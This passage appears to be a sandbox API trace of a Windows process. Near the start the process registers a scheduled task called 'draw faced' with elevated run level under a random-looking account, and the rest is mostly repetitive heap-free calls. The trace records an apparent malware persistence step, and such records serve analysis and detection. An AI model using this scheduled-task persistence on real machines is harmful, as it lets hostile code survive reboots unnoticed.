lpSystemTime=0x7c8527cec8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2d, wMilliseconds=0x11c)) [0121.915] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0121.915] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x7c8527cee0, nSize=0x7c8527ceb8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x7c8527ceb8) returned 0x1 [0121.916] ITaskDefinition:get_RegistrationInfo (in: This=0x27bec705970, ppRegistrationInfo=0x7c8527ceb0 | out: ppRegistrationInfo=0x7c8527ceb0*=0x27bec705a80) returned 0x0 [0121.916] IRegistrationInfo:put_Author (This=0x27bec705a80, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0121.916] _vsnwprintf (in: _Buffer=0x7c8527cee0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x7c8527ce78 | out: _Buffer="2023-09-19T17:15:45") returned 19 [0121.916] IRegistrationInfo:put_Date (This=0x27bec705a80, Date="2023-09-19T17:15:45") returned 0x0 [0121.916] IUnknown:Release (This=0x27bec705a80) returned 0x1 [0121.916] malloc (_Size=0x18) returned 0x27bec705fb0 [0121.916] free (_Block=0x27bec705fb0) [0121.917] lstrlenW (lpString="") returned 0 [0121.917] ITaskDefinition:get_Principal (in: This=0x27bec705970, ppPrincipal=0x7c8527d078 | out: ppPrincipal=0x7c8527d078*=0x27bec705d30) returned 0x0 [0121.917] IPrincipal:put_RunLevel (This=0x27bec705d30, RunLevel=1) returned 0x0 [0121.917] IUnknown:Release (This=0x27bec705d30) returned 0x1 [0121.917] malloc (_Size=0x18) returned 0x27bec705fb0 [0121.917] ITaskFolder:RegisterTaskDefinition (in: This=0x27bec7058f0, Path="draw faced", pDefinition=0x27bec705970, flags=6, UserId=0x7c8527d120*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x7c8527d100*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x7c8527d140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x7c8527d0e0 | out: ppTask=0x7c8527d0e0*=0x27bec706fd0) returned 0x0 [0122.614] free (_Block=0x27bec705fb0) [0122.615] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.615] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0122.615] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0122.615] GetProcessHeap () returned 0x27bec400000 [0122.615] GetProcessHeap () returned 0x27bec400000 [0122.615] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ab10) returned 1 [0122.615] GetProcessHeap () returned 0x27bec400000 [0122.615] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ab10) returned 0xc [0122.615] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ab10) returned 1 [0122.615] GetProcessHeap () returned 0x27bec400000 [0122.615] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x82) returned 0x27bec425c60 [0122.615] _vsnwprintf (in: _Buffer=0x7c8527d790, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x7c8527d028 | out: _Buffer="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n") returned 72 [0122.615] __iob_func () returned 0x7ffa7941e210 [0122.615] _fileno (_File=0x7ffa7941e240) returned -2 [0122.615] _errno () returned 0x27bec700840 [0122.615] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0122.615] RtlRestoreLastWin32Error () returned 0x7c85137000 [0122.615] lstrlenW (lpString="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n") returned 72 [0122.615] GetConsoleOutputCP () returned 0x0 [0122.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0122.616] GetConsoleOutputCP () returned 0x0 [0122.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n", cchWideChar=72, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"draw faced\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 72 [0122.616] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 72 [0122.616] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0122.616] IUnknown:Release (This=0x27bec706fd0) returned 0x0 [0122.616] TaskScheduler:IUnknown:Release (This=0x27bec705970) returned 0x0 [0122.616] TaskScheduler:IUnknown:Release (This=0x27bec7058f0) returned 0x0 [0122.616] TaskScheduler:IUnknown:Release (This=0x27bec705740) returned 0x0 [0122.616] lstrlenW (lpString="") returned 0 [0122.616] lstrlenW (lpString="14") returned 2 [0122.616] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0122.617] GetProcessHeap () returned 0x27bec400000 [0122.617] GetProcessHeap () returned 0x27bec400000 [0122.617] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40acf0) returned 1 [0122.617] GetProcessHeap () returned 0x27bec400000 [0122.617] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40acf0) returned 0x1fc [0122.618] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40acf0) returned 1 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404ef0) returned 1 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404ef0) returned 0x6 [0122.618] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404ef0) returned 1 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40aad0) returned 1 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40aad0) returned 0x16 [0122.618] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40aad0) returned 1 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.618] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40abd0) returned 1 [0122.618] GetProcessHeap () returned 0x27bec400000 [0122.619] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40abd0) returned 0x18 [0122.619] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40abd0) returned 1 [0122.619] GetProcessHeap () returned 0x27bec400000 [0122.619] GetProcessHeap () returned 0x27bec400000 [0122.619] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b7b0) returned 1 [0122.619] GetProcessHeap () returned 0x27bec400000 [0122.619] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b7b0) returned 0x20 [0122.619] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b7b0) returned 1 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403f00) returned 1 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403f00) returned 0xa0 [0122.620] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403f00) returned 1 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403ee0) returned 1 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403ee0) returned 0x18 [0122.620] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403ee0) returned 1 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.620] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b540) returned 1 [0122.620] GetProcessHeap () returned 0x27bec400000 [0122.621] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b540) returned 0x20 [0122.621] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b540) returned 1 [0122.621] GetProcessHeap () returned 0x27bec400000 [0122.621] GetProcessHeap () returned 0x27bec400000 [0122.621] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403ba0) returned 1 [0122.621] GetProcessHeap () returned 0x27bec400000 [0122.621] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403ba0) returned 0x86 [0122.622] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403ba0) returned 1 [0122.622] GetProcessHeap () returned 0x27bec400000 [0122.622] GetProcessHeap () returned 0x27bec400000 [0122.622] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40aa50) returned 1 [0122.622] GetProcessHeap () returned 0x27bec400000 [0122.622] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40aa50) returned 0x18 [0122.622] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40aa50) returned 1 [0122.622] GetProcessHeap () returned 0x27bec400000 [0122.622] GetProcessHeap () returned 0x27bec400000 [0122.622] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b570) returned 1 [0122.622] GetProcessHeap () returned 0x27bec400000 [0122.622] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b570) returned 0x20 [0122.623] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b570) returned 1 [0122.623] GetProcessHeap () returned 0x27bec400000 [0122.623] GetProcessHeap () returned 0x27bec400000 [0122.623] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404320) returned 1 [0122.623] GetProcessHeap () returned 0x27bec400000 [0122.623] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404320) returned 0x88 [0122.624] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404320) returned 1 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.624] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40a950) returned 1 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.624] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40a950) returned 0x18 [0122.624] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40a950) returned 1 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.624] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40bb10) returned 1 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.624] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40bb10) returned 0x20 [0122.624] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40bb10) returned 1 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.624] GetProcessHeap () returned 0x27bec400000 [0122.625] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40abf0) returned 1 [0122.625] GetProcessHeap () returned 0x27bec400000 [0122.625] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40abf0) returned 0xe [0122.625] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40abf0) returned 1 [0122.625] GetProcessHeap () returned 0x27bec400000 [0122.625] GetProcessHeap () returned 0x27bec400000 [0122.625] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ac70) returned 1 [0122.625] GetProcessHeap () returned 0x27bec400000 [0122.625] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ac70) returned 0x18 [0122.625] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ac70) returned 1 [0122.625] GetProcessHeap () returned 0x27bec400000 [0122.625] GetProcessHeap () returned 0x27bec400000 [0122.625] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec408fa0) returned 1 [0122.625] GetProcessHeap () returned 0x27bec400000 [0122.625] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec408fa0) returned 0x20 [0122.625] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec408fa0) returned 1 [0122.626] GetProcessHeap () returned 0x27bec400000 [0122.626] GetProcessHeap () returned 0x27bec400000 [0122.626] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409b80) returned 1 [0122.626] GetProcessHeap () returned 0x27bec400000 [0122.626] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409b80) returned 0x208 [0122.626] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409b80) returned 1 [0122.626] GetProcessHeap () returned 0x27bec400000 [0122.626] GetProcessHeap () returned 0x27bec400000 [0122.626] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4040c0) returned 1 [0122.626] GetProcessHeap () returned 0x27bec400000 [0122.627] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4040c0) returned 0x18 [0122.627] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4040c0) returned 1 [0122.627] GetProcessHeap () returned 0x27bec400000 [0122.627] GetProcessHeap () returned 0x27bec400000 [0122.627] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409210) returned 1 [0122.627] GetProcessHeap () returned 0x27bec400000 [0122.627] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409210) returned 0x20 [0122.627] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409210) returned 1 [0122.627] GetProcessHeap () returned 0x27bec400000 [0122.627] GetProcessHeap () returned 0x27bec400000 [0122.627] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40bbb0) returned 1 [0122.627] GetProcessHeap () returned 0x27bec400000 [0122.627] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40bbb0) returned 0x200 [0122.628] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40bbb0) returned 1 [0122.628] GetProcessHeap () returned 0x27bec400000 [0122.628] GetProcessHeap () returned 0x27bec400000 [0122.628] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403fb0) returned 1 [0122.628] GetProcessHeap () returned 0x27bec400000 [0122.628] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403fb0) returned 0x18 [0122.628] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403fb0) returned 1 [0122.628] GetProcessHeap () returned 0x27bec400000 [0122.628] GetProcessHeap () returned 0x27bec400000 [0122.628] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4091b0) returned 1 [0122.628] GetProcessHeap () returned 0x27bec400000 [0122.628] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4091b0) returned 0x20 [0122.629] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4091b0) returned 1 [0122.629] GetProcessHeap () returned 0x27bec400000 [0122.629] GetProcessHeap () returned 0x27bec400000 [0122.629] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40a930) returned 1 [0122.629] GetProcessHeap () returned 0x27bec400000 [0122.629] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40a930) returned 0x14 [0122.629] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40a930) returned 1 [0122.630] GetProcessHeap () returned 0x27bec400000 [0122.630] GetProcessHeap () returned 0x27bec400000 [0122.630] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40aaf0) returned 1 [0122.630] GetProcessHeap () returned 0x27bec400000 [0122.630] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40aaf0) returned 0x18 [0122.630] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40aaf0) returned 1 [0122.630] GetProcessHeap () returned 0x27bec400000 [0122.630] GetProcessHeap () returned 0x27bec400000 [0122.630] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4090c0) returned 1 [0122.630] GetProcessHeap () returned 0x27bec400000 [0122.630] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4090c0) returned 0x20 [0122.631] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4090c0) returned 1 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403950) returned 1 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403950) returned 0x16 [0122.631] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403950) returned 1 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403930) returned 1 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403930) returned 0x18 [0122.631] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403930) returned 1 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec409090) returned 1 [0122.631] GetProcessHeap () returned 0x27bec400000 [0122.631] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec409090) returned 0x20 [0122.632] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec409090) returned 1 [0122.632] GetProcessHeap () returned 0x27bec400000 [0122.632] GetProcessHeap () returned 0x27bec400000 [0122.633] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404f30) returned 1 [0122.633] GetProcessHeap () returned 0x27bec400000 [0122.633] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404f30) returned 0x2 [0122.633] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404f30) returned 1 [0122.633] GetProcessHeap () returned 0x27bec400000 [0122.633] GetProcessHeap () returned 0x27bec400000 [0122.633] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404440) returned 1 [0122.633] GetProcessHeap () returned 0x27bec400000 [0122.633] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404440) returned 0x20 [0122.634] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404440) returned 1 [0122.634] GetProcessHeap () returned 0x27bec400000 [0122.634] GetProcessHeap () returned 0x27bec400000 [0122.634] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec404490) returned 1 [0122.634] GetProcessHeap () returned 0x27bec400000 [0122.634] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec404490) returned 0x20 [0122.635] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec404490) returned 1 [0122.635] GetProcessHeap () returned 0x27bec400000 [0122.635] GetProcessHeap () returned 0x27bec400000 [0122.635] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4044c0) returned 1 [0122.635] GetProcessHeap () returned 0x27bec400000 [0122.635] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4044c0) returned 0x20 [0122.636] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4044c0) returned 1 [0122.636] GetProcessHeap () returned 0x27bec400000 [0122.636] GetProcessHeap () returned 0x27bec400000 [0122.636] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec408fd0) returned 1 [0122.636] GetProcessHeap () returned 0x27bec400000 [0122.636] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec408fd0) returned 0x20 [0122.637] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec408fd0) returned 1 [0122.637] GetProcessHeap () returned 0x27bec400000 [0122.637] GetProcessHeap () returned 0x27bec400000 [0122.637] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40bae0) returned 1 [0122.637] GetProcessHeap () returned 0x27bec400000 [0122.637] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40bae0) returned 0x20 [0122.638] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40bae0) returned 1 [0122.641] GetProcessHeap () returned 0x27bec400000 [0122.641] GetProcessHeap () returned 0x27bec400000 [0122.641] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40a9d0) returned 1 [0122.641] GetProcessHeap () returned 0x27bec400000 [0122.641] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40a9d0) returned 0xa [0122.641] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40a9d0) returned 1 [0122.641] GetProcessHeap () returned 0x27bec400000 [0122.641] GetProcessHeap () returned 0x27bec400000 [0122.641] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b660) returned 1 [0122.641] GetProcessHeap () returned 0x27bec400000 [0122.642] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b660) returned 0x20 [0122.642] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b660) returned 1 [0122.642] GetProcessHeap () returned 0x27bec400000 [0122.642] GetProcessHeap () returned 0x27bec400000 [0122.642] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec4038f0) returned 1 [0122.642] GetProcessHeap () returned 0x27bec400000 [0122.642] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec4038f0) returned 0x30 [0122.643] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec4038f0) returned 1 [0122.643] GetProcessHeap () returned 0x27bec400000 [0122.643] GetProcessHeap () returned 0x27bec400000 [0122.643] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40bb40) returned 1 [0122.643] GetProcessHeap () returned 0x27bec400000 [0122.643] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40bb40) returned 0x20 [0122.644] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40bb40) returned 1 [0122.644] GetProcessHeap () returned 0x27bec400000 [0122.644] GetProcessHeap () returned 0x27bec400000 [0122.644] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403980) returned 1 [0122.644] GetProcessHeap () returned 0x27bec400000 [0122.644] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec403980) returned 0x30 [0122.645] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec403980) returned 1 [0122.645] GetProcessHeap () returned 0x27bec400000 [0122.645] GetProcessHeap () returned 0x27bec400000 [0122.645] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b6c0) returned 1 [0122.645] GetProcessHeap () returned 0x27bec400000 [0122.645] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b6c0) returned 0x20 [0122.646] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b6c0) returned 1 [0122.646] GetProcessHeap () returned 0x27bec400000 [0122.646] GetProcessHeap () returned 0x27bec400000 [0122.646] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40a970) returned 1 [0122.646] GetProcessHeap () returned 0x27bec400000 [0122.646] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40a970) returned 0x10 [0122.646] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40a970) returned 1 [0122.646] GetProcessHeap () returned 0x27bec400000 [0122.646] GetProcessHeap () returned 0x27bec400000 [0122.646] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40b6f0) returned 1 [0122.646] GetProcessHeap () returned 0x27bec400000 [0122.646] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40b6f0) returned 0x20 [0122.647] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40b6f0) returned 1 [0122.647] GetProcessHeap () returned 0x27bec400000 [0122.647] GetProcessHeap () returned 0x27bec400000 [0122.647] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ab50) returned 1 [0122.647] GetProcessHeap () returned 0x27bec400000 [0122.647] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ab50) returned 0x10 [0122.647] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ab50) returned 1 [0122.647] GetProcessHeap () returned 0x27bec400000 [0122.647] GetProcessHeap () returned 0x27bec400000 [0122.647] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40bb70) returned 1 [0122.647] GetProcessHeap () returned 0x27bec400000 [0122.647] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40bb70) returned 0x20 [0122.648] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40bb70) returned 1 [0122.648] GetProcessHeap () returned 0x27bec400000 [0122.648] GetProcessHeap () returned 0x27bec400000 [0122.648] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40aa70) returned 1 [0122.648] GetProcessHeap () returned 0x27bec400000 [0122.648] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40aa70) returned 0xe [0122.648] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40aa70) returned 1 [0122.648] GetProcessHeap () returned 0x27bec400000 [0122.648] GetProcessHeap () returned 0x27bec400000 [0122.648] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ba80) 